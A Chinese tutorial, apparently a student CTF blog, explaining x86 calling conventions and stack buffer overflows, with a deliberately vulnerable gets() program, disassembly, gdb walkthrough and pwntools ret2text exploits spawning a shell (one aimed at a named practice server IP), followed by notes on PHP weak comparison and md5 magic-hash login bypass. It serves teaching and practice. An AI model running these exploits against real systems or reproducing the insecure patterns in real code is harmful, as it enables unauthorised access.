    • Pascal程序缺省调用方式,WinAPI也多采用该调用约定。stdcall调用约定主调函数参数从右向左入栈,除指针或引用类型参数外所有参数采用传值方式传递,由被调函数负责清除栈中的参数,返回值在EAX中。stdcall调用约定仅适用于参数个数固定的函数,因为被调函数清栈时无法精确获知栈上有多少函数参数;而且如果调用时实参和形参数目不符会导致堆栈错误。对于C函数,stdcall名称修饰方式是在函数名字前添加下划线,在函数名字后添加@和函数参数的大小,如_functionname@number。
  • fastcall调用约定

    • stdcall调用约定的变形,通常使用ECX和EDX寄存器传递前两个DWORD(四字节双字)类型或更少字节的函数参数,其余参数按照从右向左的顺序入栈,被调函数在返回前负责清除栈中的参数,返回值在 EAX 中。因为并不是所有的参数都有压栈操作,所以比stdcall和cdecl快些。编译器使用两个@修饰函数名字,后跟十进制数表示的函数参数列表大小(字节数),如@function_name@number。需注意fastcall函数调用约定在不同编译器上可能有不同的实现,比如16位编译器和32位编译器。另外,在使用内嵌汇编代码时,还应注意不能和编译器使用的寄存器有冲突。
  • thiscall调用约定

    • C++类中的非静态函数必须接收一个指向主调对象的类指针(this指针),并可能较频繁的使用该指针。主调函数的对象地址必须由调用者提供,并在调用对象非静态成员函数时将对象指针以参数形式传递给被调函数。编译器默认使用thiscall调用约定以高效传递和存储C++类的非静态成员函数的this指针参数。
    • thiscall调用约定函数参数按照从右向左的顺序入栈。若参数数目固定,则类实例的this指针通过ECX寄存器传递给被调函数,被调函数自身清理堆栈;若参数数目不定,则this指针在所有参数入栈后再入栈,主调函数清理堆栈。thiscall不是C++关键字,故不能使用thiscall声明函数,它只能由编译器使用。
    • 注意,该调用约定特点随编译器不同而不同,g++中thiscall与cdecl基本相同,只是隐式地将this指针当作非静态成员函数的第1个参数,主调函数在调用返回后负责清理栈上参数;而在VC中,this指针存放在%ecx寄存器中,参数从右至左压栈,非静态成员函数负责清理栈上参数。
  • naked call调用约定

    • 对于使用naked call方式声明的函数,编译器不产生保存(prologue)和恢复(epilogue)寄存器的代码,且不能用return返回返回值(只能用内嵌汇编返回结果),故称naked call。该调用约定用于一些特殊场合,如声明处于非C/C++上下文中的函数,并由程序员自行编写初始化和清栈的内嵌汇编指令。注意,naked call并非类型修饰符,故该调用约定必须与__declspec同时使用,如VC下定义求和函数:

      代码示例如下(Windows采用Intel汇编语法,注释符为;):

      1
      2
      3
      4
      5
      6
      __declspec(naked) int __stdcall function(int a, int b) {
      ;mov DestRegister, SrcImmediate(Intel) vs. movl $SrcImmediate, %DestRegister(AT&T)
      __asm mov eax, a
      __asm add eax, b
      __asm ret 8
      }

__declspec是微软关键字,其他系统上可能没有。

  • pascal调用约定

    • Pascal语言调用约定,参数按照从左至右的顺序入栈。Pascal语言只支持固定参数的函数,参数的类型和数量完全可知,故由被调函数自身清理堆栈。pascal调用约定输出的函数名称无任何修饰且全部大写。
    • Win3.X(16位)时支持真正的pascal调用约定;而Win9.X(32位)以后pascal约定由stdcall约定代替(以C约定压栈以Pascal约定清栈)。

    上述调用约定的主要特点如下表所示:
    feature

关于传参方法:

  • 整型和指针参数的传递:
    • 整型参数与指针参数的传递方式相同,因为在32位x86处理器上整型与指针大小相同(均为四字节)。下表给出这两种类型的参数在栈帧中的位置关系。注意,该表基于tail函数的栈帧。

tail

  • 浮点参数的传递:
    • 浮点参数的传递与整型类似,区别在于参数大小。x86处理器中浮点类型占8个字节,因此在栈中也需要占用8个字节。下表给出浮点参数在栈帧中的位置关系。图中,调用tail函数的第一个和第三个参数均为浮点类型,因此需各占用8个字节,三个参数共占用20个字节。表中word类型的大小是4字节。

float

  • 结构体和联合体参数的传递:

    • 结构体和联合体参数的传递与整型、浮点参数类似,只是其占用字节大小视数据结构的定义不同而异。x86处理器上栈宽是4字节,故结构体在栈上所占用的字节数为4的倍数。编译器会对结构体进行适当的填充以使得结构体大小满足4字节对齐的要求。

    • 对于一些RISC处理器(如PowerPC),其参数传递并不是全部通过栈来实现。PowerPC处理器寄存器中,R3~R10共8个寄存器用于传递整型或指针参数,F1~F8共8个寄存器用于传递浮点参数。当所需传递的参数少于8个时,不需要用到栈。结构体和long double参数的传递通过指针来完成,这与x86处理器完全不同。PowerPC的ABI规范中规定,结构体的传递采用指针方式,而不是像x86处理器那样将结构从一个函数栈帧中拷贝到另一个函数栈帧中,显然x86处理器的方式更低效。可见,PowerPC程序中,函数参数采用指向结构体的指针(而非结构体)并不能提高效率,不过通常这是良好的编程习惯。

  • 返回值的传递:

    • 函数返回值可通过寄存器传递。当被调用函数需要返回结果给调用函数时:

      1. 若返回值不超过4字节(如int、short、char、指针等类型),通常将其保存在EAX寄存器中,调用方通过读取EAX获取返回值。
      2. 若返回值大于4字节而小于8字节(如long long或_int64类型),则通过EAX+EDX寄存器联合返回,其中EDX保存返回值高4字节,EAX保存返回值低4字节。
      3. 若返回值为浮点类型(如float和double),则通过专用的协处理器浮点数寄存器栈的栈顶返回
      4. 若返回值为结构体或联合体,则主调函数向被调函数传递一个额外参数,该参数指向将要保存返回值的地址。即函数调用foo(p1, p2)被转化为foo(&p0, p1, p2),以引用型参数形式传回返回值。具体步骤可能为:a.主调函数将显式的实参逆序入栈;b.将接收返回值的结构体变量地址作为隐藏参数入栈(若未定义该接收变量,则在栈上额外开辟空间作为接收返回值的临时变量);c. 被调函数将待返回数据拷贝到隐藏参数所指向的内存地址,并将该地址存入%eax寄存器。因此,在被调函数中完成返回值的赋值工作。

      注意,函数如何传递结构体或联合体返回值依赖于具体实现。不同编译器、平台、调用约定甚至编译参数下可能采用不同的实现方法。如VC6编译器对于不超过8字节的小结构体,会通过EAX+EDX寄存器返回。而对于超过8字节的大结构体,主调函数在栈上分配用于接收返回值的临时结构体,并将地址通过栈传递给被调函数;被调函数根据返回值地址设置返回值(拷贝操作);调用返回后主调函数根据需要,再将返回值赋值给需要的临时变量(二次拷贝)。实际使用中为提高效率,通常将结构体指针作为实参传递给被调函数以接收返回值。

      1. 不要返回指向栈内存的指针,如返回被调函数内局部变量地址(包括局部数组名)。因为函数返回后,其栈帧空间被“释放”,原栈帧内分配的局部变量空间的内容是不稳定和不被保证的。

  函数返回值通过寄存器传递,无需空间分配等操作,故返回值的代价很低。基于此原因,C89规范中约定,不写明返回值类型的函数,返回值类型默认为int。但这会带来类型安全隐患,如函数定义时返回值为浮点数,而函数未声明或声明时未指明返回值类型,则调用时默认从寄存器EAX(而不是浮点数寄存器)中获取返回值,导致错误!因此在C++中,不写明返回值类型的函数返回值类型为void,表示不返回值。

扩展阅读
GCC返回结构体和联合体

通常GCC被配置为使用与目标系统一致的函数调用约定。这通过机器描述宏来实现。但是,在一些目标机上采用不同方式返回结构体和联合体的值。因此,使用PCC编译的返回这些类型的函数不能被使用GCC编译的代码调用,反之亦然。但这并未造成麻烦,因为很少有Unix库函数返回结构体或联合体。
GCC代码使用存放int或double类型返回值的寄存器来返回1、2、4或8个字节的结构体和联合体(GCC通常还将此类变量分配在寄存器中)。其它大小的结构体和联合体在返回时,将其存放在一个由调用者传递的地址中(通常在寄存器中)。
相比之下,PCC在大多目标机上返回任何大小的结构体和联合体时,都将数据复制到一个静态存储区域,再将该地址当作指针值返回。调用者必须将数据从那个内存区域复制到需要的地方。这比GCC使用的方法要慢,而且不可重入。
在一些目标机上(如RISC机器和80386),标准的系统约定是将返回值的地址传给子程序。在这些机器上,当使用这种约定方法时,GCC被配置为与标准编译器兼容。这可能会对于1,2,4或8字节的结构体不兼容。
GCC使用系统的标准约定来传递参数。在一些机器上,前几个参数通过寄存器传递;在另一些机器上,所有的参数都通过栈传递。原本可在所有机器上都使用寄存器来传递参数,而且此法还可能显著提高性能。但这样就与使用标准约定的代码完全不兼容。所以这种改变只在将GCC作为系统唯一的C编译器时才实用。当拥有一套完整的GNU 系统,能够用GCC来编译库时,可在特定机器上实现寄存器参数传递。
在一些机器上(特别是SPARC),一些类型的参数通过“隐匿引用”(invisible reference)来传递。这意味着值存储在内存中,将值的内存地址传给子程序。

  到这里,我知道的关于函数调用栈的有关东西已经差不多讲完了,心态先别崩,最难的部分已经结束了,下面开始最有意思的部分.


缓冲区溢出原理

  缓冲区说的通俗一点就是程序在运行时,可供使用的一部分内存.比如说stack和heap,还有一些存储常量的内存区域,比如bss段(bss segment)等等.下面我们来介绍一下最简单最经典的栈溢出(Stack Overflow).

环境搭建

  在linux下搭建漏洞利用的环境十分简单,只需要如下几个命令:

1
2
3
4
#有需求者自行换源
sudo apt-get update && apt-get upgrade
sudo apt-get install build-essential gcc g++ make python-pip
pip install pwntools

  如果缺啥库请自行百度安装

栈溢出原理

  栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序向栈上写入数据
  • 写入的数据长度没有被良好的控制
举个栗子

  最经典的栈溢出利用是覆盖程序的返回地址,使其返回到攻击者想要的地址,需要确保这个地址所在的段有可执行权限,即权限为(–X)

注:

通常的计算机系统中,我们规定用户对文件有三种权限即Read Write Execute(RWX)读 写 可执行.在linux的终端里输入ls -al命令,结果如下:

1
2
3
4
5
6
7
root@Aurora:~/File/doc # ls -al
总用量 2028
drwxr-xr-x 3 root root 4096 8月 22 21:58 .
drwxr-xr-x 7 root root 4096 8月 23 23:35 ..
-rw-r--r-- 1 root root 51486 8月 22 21:58 assembly.md
-rw-r--r-- 1 root root 2007460 8月 22 21:55 assembly.pdf
drwxr-xr-x 2 root root 4096 8月 13 00:17 pictures

你可以看到前面有一堆rwx或者’-‘之类的,这就代表用户对该文件的权限,ls这条命令是我们比较常用的命令,他是list的缩写,作用是列举当前目录下的文件(目录类似于文件夹). 后面的 -al是两个参数,a代表all,l代表line,就是把所有的文件(包含隐藏文件)按行展示出来.就是上面的结果,顺便一提,名字以.开头的文件都是隐藏文件比如.hello.cpp,ls命令不加参数a无法看到隐藏文件.

你可以使用图形化的编辑器vscode gedit或者leafpad编写程序,我是vim爱好者,不建议你们使用vim(逃

下面来个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>

void pwn(){
system("/bin/sh");
}

void vulnerable(){
char buffer[32];
char hello[] = "Hello,I'm dyf.";
printf("%s\n",hello);
printf("\nQAQ\n");
printf("\nDo you have something to say?\n");
gets(buffer);
return;
}

int main(){
vulnerable();
return 0;
}

  这个程序的逻辑就是读取一段字符串,然后将其输出,理论上来说pwn()函数是没有被执行的,但是利用stackoverflow我们可以控制程序执行pwn()函数,他会返回给我们一个shell.

shell十分不严谨的描述: linux下的终端
我们希望通过这个程序来获得一个可以执行命令的终端,这样就可以控制目标靶机.

我们用如下命令进行编译:

1
> sudo gcc -o a buffer.c -no-pie -m32 -fno-stack-protector

注:

这里使用sudo只是为了将生成的目标文件的owner设置为root,当你以普通身份提权后可是获得root权限

1
2
3
4
5
6
7
8
root@Aurora:/home/code/pwn/challenge/1 # sudo gcc -o a buffer.c -no-pie -m32 -fno-stack-protector 
buffer.c: In function ‘vulnerable’:
buffer.c:14:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
gets(buffer);
^~~~
fgets
/bin/ld: /tmp/ccQDe6dj.o: in function `vulnerable':
buffer.c:(.text+0x97): 警告:the `gets' function is dangerous and should not be used.

  可见gets本身是一个十分危险的函数,他不会检查字符串的长度,而是以回车来判断输入是否结束,及其容易引发栈溢出.

  解释一下这几个参数的作用:

  • -m32:指的是生成32位程序
  • -fno-stack-protector:字面意思,关闭栈保护,不生成canary
  • -no-pie:关闭pie(Position Independent Executable),这个pie并不能吃,他使程序的地址被打乱,导致我们无法返回到固定目标地址.

  你可以使用如下命令来运行它:

1
> ./a

  编译成功后我们可以使用checksec工具检查编译生成的文件:

1
2
3
4
5
6
7
root@Aurora:/home/code/pwn/challenge/1 # checksec a 
[*] '/home/code/pwn/challenge/1/a'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

下面我们来分析一下这个vulnerable()函数:
首先,大家可以使用objdump工具进行反汇编,得到目标文件a的汇编代码:

1
> objdump -d a

然后找到这一段:

注:

你们的地址与我的不同是正常的(一样就怪了…),所以下面的过程要求你理解原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
080491ad <vulnerable>:
80491ad: 55 push %ebp
80491ae: 89 e5 mov %esp,%ebp
80491b0: 53 push %ebx
80491b1: 83 ec 34 sub $0x34,%esp
80491b4: e8 07 ff ff ff call 80490c0 <__x86.get_pc_thunk.bx>
80491b9: 81 c3 47 2e 00 00 add $0x2e47,%ebx
80491bf: c7 45 c9 48 65 6c 6c movl $0x6c6c6548,-0x37(%ebp)
80491c6: c7 45 cd 6f 2c 49 27 movl $0x27492c6f,-0x33(%ebp)
80491cd: c7 45 d1 6d 20 64 79 movl $0x7964206d,-0x2f(%ebp)
80491d4: 66 c7 45 d5 66 2e movw $0x2e66,-0x2b(%ebp)
80491da: c6 45 d7 00 movb $0x0,-0x29(%ebp)
80491de: 83 ec 0c sub $0xc,%esp
80491e1: 8d 45 c9 lea -0x37(%ebp),%eax
80491e4: 50 push %eax
80491e5: e8 56 fe ff ff call 8049040 <puts@plt>
80491ea: 83 c4 10 add $0x10,%esp
80491ed: 83 ec 0c sub $0xc,%esp
80491f0: 8d 83 10 e0 ff ff lea -0x1ff0(%ebx),%eax
80491f6: 50 push %eax
80491f7: e8 44 fe ff ff call 8049040 <puts@plt>
80491fc: 83 c4 10 add $0x10,%esp
80491ff: 83 ec 0c sub $0xc,%esp
8049202: 8d 83 18 e0 ff ff lea -0x1fe8(%ebx),%eax
8049208: 50 push %eax
8049209: e8 32 fe ff ff call 8049040 <puts@plt>
804920e: 83 c4 10 add $0x10,%esp
8049211: 83 ec 0c sub $0xc,%esp
8049214: 8d 45 d8 lea -0x28(%ebp),%eax
8049217: 50 push %eax
8049218: e8 13 fe ff ff call 8049030 <gets@plt>
804921d: 83 c4 10 add $0x10,%esp
8049220: 90 nop
8049221: 8b 5d fc mov -0x4(%ebp),%ebx
8049224: c9 leave
8049225: c3 ret

a1

我猜你开始不想看了,别着急,我们直接看关键处:

1
2
3
4
5
6
7
8
8049214:       8d 45 d8                lea    -0x28(%ebp),%eax
8049217: 50 push %eax
8049218: e8 13 fe ff ff call 8049030 <gets@plt>
804921d: 83 c4 10 add $0x10,%esp
8049220: 90 nop
8049221: 8b 5d fc mov -0x4(%ebp),%ebx
8049224: c9 leave
8049225: c3 ret

我们可以看到

1
2
3
lea 		-028(%ebp), %eax   ;将某字符串地址传给%eax寄存器
push %eax ;将%eax中的值压入栈中,作为下一个函数gets()的参数
call 8049030<gets@plt>;调用gets()

这三句话首先传参,然后调用函数,然后程序释放栈并返回.该字符串距离ebp的长度为0x28,对应的栈结构为:

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x28-->+-----------------+

接着我们继续查找pwn()函数的地址,其地址为0x08049182.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
08049182 <pwn>:
8049182: 55 push %ebp
8049183: 89 e5 mov %esp,%ebp
8049185: 53 push %ebx
8049186: 83 ec 04 sub $0x4,%esp
8049189: e8 b4 00 00 00 call 8049242 <__x86.get_pc_thunk.ax>
804918e: 05 72 2e 00 00 add $0x2e72,%eax
8049193: 83 ec 0c sub $0xc,%esp
8049196: 8d 90 08 e0 ff ff lea -0x1ff8(%eax),%edx
804919c: 52 push %edx
804919d: 89 c3 mov %eax,%ebx
804919f: e8 ac fe ff ff call 8049050 <system@plt>
80491a4: 83 c4 10 add $0x10,%esp
80491a7: 90 nop
80491a8: 8b 5d fc mov -0x4(%ebp),%ebx
80491ab: c9 leave
80491ac: c3 ret

加入我们输入的字符串为:0x28 * 'a' + 'bbbb' + pwn_addr,那么由于gets只有读到回车才停,所以这一段字符串会把saved_ebp覆盖为bbbb,将ret_addr覆盖为pwn_addr,那么,此时栈的结构为:

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| 0x08049182 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

注:

前面提到,在内存中,每个值按照字节存储.一般都是按照小端存储,所以0x08049182在内存中的形式为

1
\x82\x91\x04\x08

  很明显,按照ASCII表,这几个字符是不可见的(0x82 0x91 0x04 0x08 这几个老哥在ascii表中的值请自行查看对照)

那么问题来了,怎么才能把这这种不可见字符输进去呢,莫非要买高级键盘?_?,这个时候我们就可以用pwntools了,pwntools是一个很好用的python2的库,专门帮你干坏事.

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!	/usr/bin/python2
#选择python2解释器

# -*- coding: UTF-8 -*-
#设置utf-8编码,为了支持中文

from pwn import * #引入pwntools的库

context.log_level = 'debug' # 开启debug模式,可以记录发送和收到的字符串

sh = process('./a') #构造与程序交互的对象

payload = 'a' * 40 + 'bbbb' + p32(0x08049182) # 构造payload

sh.sendline(payload) # 将字符串发送给程序

sh.interactive() # 将代码变为手动交互

然后我们执行一下这个命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@Aurora:/home/code/pwn/challenge/1 # ./a.py
[+] Starting local process './a': pid 10160
[DEBUG] Sent 0x31 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 62 62 62 62 82 91 04 08 │aaaa│aaaa│bbbb│····│
00000030 0a │·│
00000031
[*] Switching to interactive mode
[DEBUG] Received 0x33 bytes:
"Hello,I'm dyf.\n"
'\n'
'QAQ\n'
'\n'
'Do you have something to say?\n'
Hello,I'm dyf.

QAQ

Do you have something to say?
$

可以看到我们已经返回了shell,这意味着我们拿到了这台机器的控制权限,加入这个程序的owner是root的话,我们就会获得root权限.

这个时候,按照传统,我们要输入一条神圣的指令来证明我们的身份:

1
> whoami

a2

  很酷是不是,一下子就获得上帝的权限,root就是linux中的上帝,掌握一切生杀大权,到此为止,你已经拿下了你的第一台主机了.

接下来我会把之前提到的那个样例程序放到服务器上供你们娱乐,你么可以尝试练习一下.

关于exp连接远端的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!	/usr/bin/python2
#选择python2解释器

# -*- coding: UTF-8 -*-
#设置utf-8编码,为了支持中文

from pwn import * #引入pwntools的库

context.log_level = 'debug' # 开启debug模式,可以记录发送和收到的字符串

sh = romote('202.204.62.222',30008) # 只需要修改这一句话,填写对应的ip地址和端口 remote('ip', port)
#sh = process('./a') #构造与程序交互的对象

payload = 'a' * 40 + 'bbbb' + p32(0x08049182) # 构造payload

sh.sendline(payload) # 将字符串发送给程序

sh.interactive() # 将代码变为手动交互

最后来介绍一下动态调试技巧,主要是关于gdb的使用.我相信8成的人写代码仍然使用十分复古的调试方法:

  • 放置调试法:什么也不做等着bug消失
  • 再来一次调试法: 一定是编译器坏了,重新编译一次等bug消失
  • 玄学调试法: 随便改两个地方,用命运的力量消除bug
  • 放弃调试法: 洗洗睡了

以上调试方法比较传统,而且操作难度教较大,下面我们来介绍一下很简单的gdb调试法.

  gdb(GNU Debugger)是所有调试器的爸爸,他的功能十分强大,可以跟踪堆栈,查看内存,打印寄存器,下断点等等,我们只讲以下基本技巧:

  1. 下断点
  2. 查看内存
  3. 打印寄存器
  4. 查看反汇编执行

  我们仍然用个栗子讲解,首先下载并打开附件ret2text,然后你可以输入ls命令查看一下这个文件是不是绿色的,如果不是则说明没有可执行权限,你需要输入以下命令对其进行原谅:

1
chmod +x ret2txt

  这个时候他应该已经被原谅了,我们查看一下他的保护措施:

1
2
3
4
5
6
7
root@Aurora:~/文档/doc/src/example_2(master⚡) # checksec ret2text 
[*] '/root/\xe6\x96\x87\xe6\xa1\xa3/doc/src/example_2/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

  可以看到这是一个32位程序,只开启了NX保护(Not Executable 栈不可执行),下面进行逆向分析.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
08048648 <main>:
8048648: 55 push %ebp
8048649: 89 e5 mov %esp,%ebp
804864b: 83 e4 f0 and $0xfffffff0,%esp
804864e: 83 c4 80 add $0xffffff80,%esp
8048651: a1 60 a0 04 08 mov 0x804a060,%eax
8048656: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
804865d: 00
804865e: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
8048665: 00
8048666: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
804866d: 00
804866e: 89 04 24 mov %eax,(%esp)
8048671: e8 5a fe ff ff call 80484d0 <setvbuf@plt>
8048676: a1 40 a0 04 08 mov 0x804a040,%eax
804867b: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
8048682: 00
8048683: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
804868a: 00
804868b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8048692: 00
8048693: 89 04 24 mov %eax,(%esp)
8048696: e8 35 fe ff ff call 80484d0 <setvbuf@plt>
804869b: c7 04 24 6c 87 04 08 movl $0x804876c,(%esp)
80486a2: e8 d9 fd ff ff call 8048480 <puts@plt>
80486a7: 8d 44 24 1c lea 0x1c(%esp),%eax
80486ab: 89 04 24 mov %eax,(%esp)
80486ae: e8 ad fd ff ff call 8048460 <gets@plt>
80486b3: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80486ba: e8 91 fd ff ff call 8048450 <printf@plt>
80486bf: b8 00 00 00 00 mov $0x0,%eax
80486c4: c9 leave
80486c5: c3 ret

  还原一下大概就是:

1
2
3
4
5
6
7
8
9
10
11
int main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}

  可以看到十分明显的gets()函数,然后我们又发现secure()函数存在system("/bin/sh"):

1
2
3
4
804863a:       c7 04 24 63 87 04 08    movl   $0x8048763,(%esp)   ;这里传递参数 "/bin/sh" 复习一下传参方式哦
8048641: e8 4a fe ff ff call 8048490 <system@plt>
8048646: c9 leave
8048647: c3 ret

  假如我们可以返回到0x804863a似乎就可以直接getshell了,下面我们就分析如何构造payload,首先要确定padding的长度.

padding就是我们所能控制的内存到返回值的距离内所填充的垃圾数据,就是上个例子里一堆aaaaaaaa

  通过分析汇编代码我们发现事情并不简单:

1
2
3
80486a7:       8d 44 24 1c             lea    0x1c(%esp),%eax
80486ab: 89 04 24 mov %eax,(%esp)
80486ae: e8 ad fd ff ff call 8048460 <gets@plt>

  不知是用了什么妖术,这个变量居然是根据esp来进行寻址的…众所周知esp是随时变化的,因此我们就需要动态调试,算一下变量距离ebp的偏移.输入一下命令启动gdb:

1
2
3
> gdb ret2text
# 进来之后输入start启动程序
gdb> start

gdb1

  你会看到你的gdb跟我的一比简直low爆了…这是因为我装了插件,诸位暂时还是不要安装插件,因为你对gdb还不够熟悉,如果十分想要模仿我的话可以安装peda或者pwndbg.

1
2
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

  接下来输入disas可以看到即将会执行的汇编指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef➤  disas
Dump of assembler code for function main:
0x08048648 <+0>: push ebp
0x08048649 <+1>: mov ebp,esp
0x0804864b <+3>: and esp,0xfffffff0
0x0804864e <+6>: add esp,0xffffff80
=> 0x08048651 <+9>: mov eax,ds:0x804a060
0x08048656 <+14>: mov DWORD PTR [esp+0xc],0x0
0x0804865e <+22>: mov DWORD PTR [esp+0x8],0x2
0x08048666 <+30>: mov DWORD PTR [esp+0x4],0x0
0x0804866e <+38>: mov DWORD PTR [esp],eax
0x08048671 <+41>: call 0x80484d0 <setvbuf@plt>
0x08048676 <+46>: mov eax,ds:0x804a040
0x0804867b <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048683 <+59>: mov DWORD PTR [esp+0x8],0x1
0x0804868b <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048693 <+75>: mov DWORD PTR [esp],eax
0x08048696 <+78>: call 0x80484d0 <setvbuf@plt>
0x0804869b <+83>: mov DWORD PTR [esp],0x804876c
0x080486a2 <+90>: call 0x8048480 <puts@plt>
0x080486a7 <+95>: lea eax,[esp+0x1c]
0x080486ab <+99>: mov DWORD PTR [esp],eax
0x080486ae <+102>: call 0x8048460 <gets@plt>
0x080486b3 <+107>: mov DWORD PTR [esp],0x80487a4
0x080486ba <+114>: call 0x8048450 <printf@plt>
0x080486bf <+119>: mov eax,0x0
0x080486c4 <+124>: leave
0x080486c5 <+125>: ret

  若安装了插件输入register指令可以查看寄存器信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  register
$eax : 0xf7f90dc8 → 0xffffd0cc → 0xffffd2cc → "CLUTTER_IM_MODULE=fcitx"
$ebx : 0x0
$ecx : 0xcab951ef
$edx : 0xffffd054 → 0x00000000
$esp : 0xffffcfa0 → 0x00000000
$ebp : 0xffffd028 → 0x00000000
$esi : 0xf7f8f000 → 0x001d9d6c
$edi : 0xf7f8f000 → 0x001d9d6c
$eip : 0x08048651 → <main+9> mov eax, ds:0x804a060
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
gef➤

  若没有安装插件则使用print $eax打印相关寄存器信息.
  接着输入n或者s可以单步进行调试,他们的区别是:

  • n: 假如有函数调用的话,会直接执行完毕该函数,然后继续单步执行
  • s: 假如有函数调用的话,会进入函数然后继续单步执行

  好的,我们可以一路按n跑到关键位置,也可以在关键位置下断点然后让程序停在那里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>

  这里我们看到esp是 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。

exp如下:

1
2
3
4
5
6
7
#!/usr/bin/python2
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

  现在你已经稍微入点高级编程门了.

  如果你对pwn也感兴趣的话可以去校内ctf练习平台上玩一玩(题目很久没更新了…最近更新一下qaq)


关于作者及作者内心os

  信安1802某爱猫人士,安全研究员,梦想成为Computer Artist并养一屋子猫

  当你读到这段话的时候…十有八九是前面读不下去了,直接跳到最后看看还有多少…

  我还是要讲几句鼓励你的话:

​ 加油,你真棒!

giveup

  

  如果你对本文档持任何异议,请纠缠我的基友原计1805戏曲爱好者孙某.

PS: 如果你也是爱猫人士或者对计算机安全感兴趣,欢迎与各位大佬交流 (CTF缺队友…qaq

欢迎Follow我的github ^_^

2019-09-15

web知识点记录

  最近一直在写CPU,好久没有看web相关的东西了,发现之前刷的题全忘了qaq…本文记录遇到的相关知识点.

辣鸡PHP


弱类型

  php的'==='==是截然不同的,===会在判断前首先比较两变量类型,然后进行值的比较,但是==则强制转换为相同的类型,然后进行比较.

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

  举几个例子:

1
2
3
4
5
6
7
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

  PHP手册里说:当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含 ‘.’ ‘e’ ‘E’并且其数值值在整形的范围之内该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0.

  • 利用姿势

  md5-hash碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];

if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

  根据上面的原理我们可以发现假如md5的开头是0e,那么比较时会被当作科学计数法,直接gg.

1
md5('240610708') == md5('QNKCDZO');

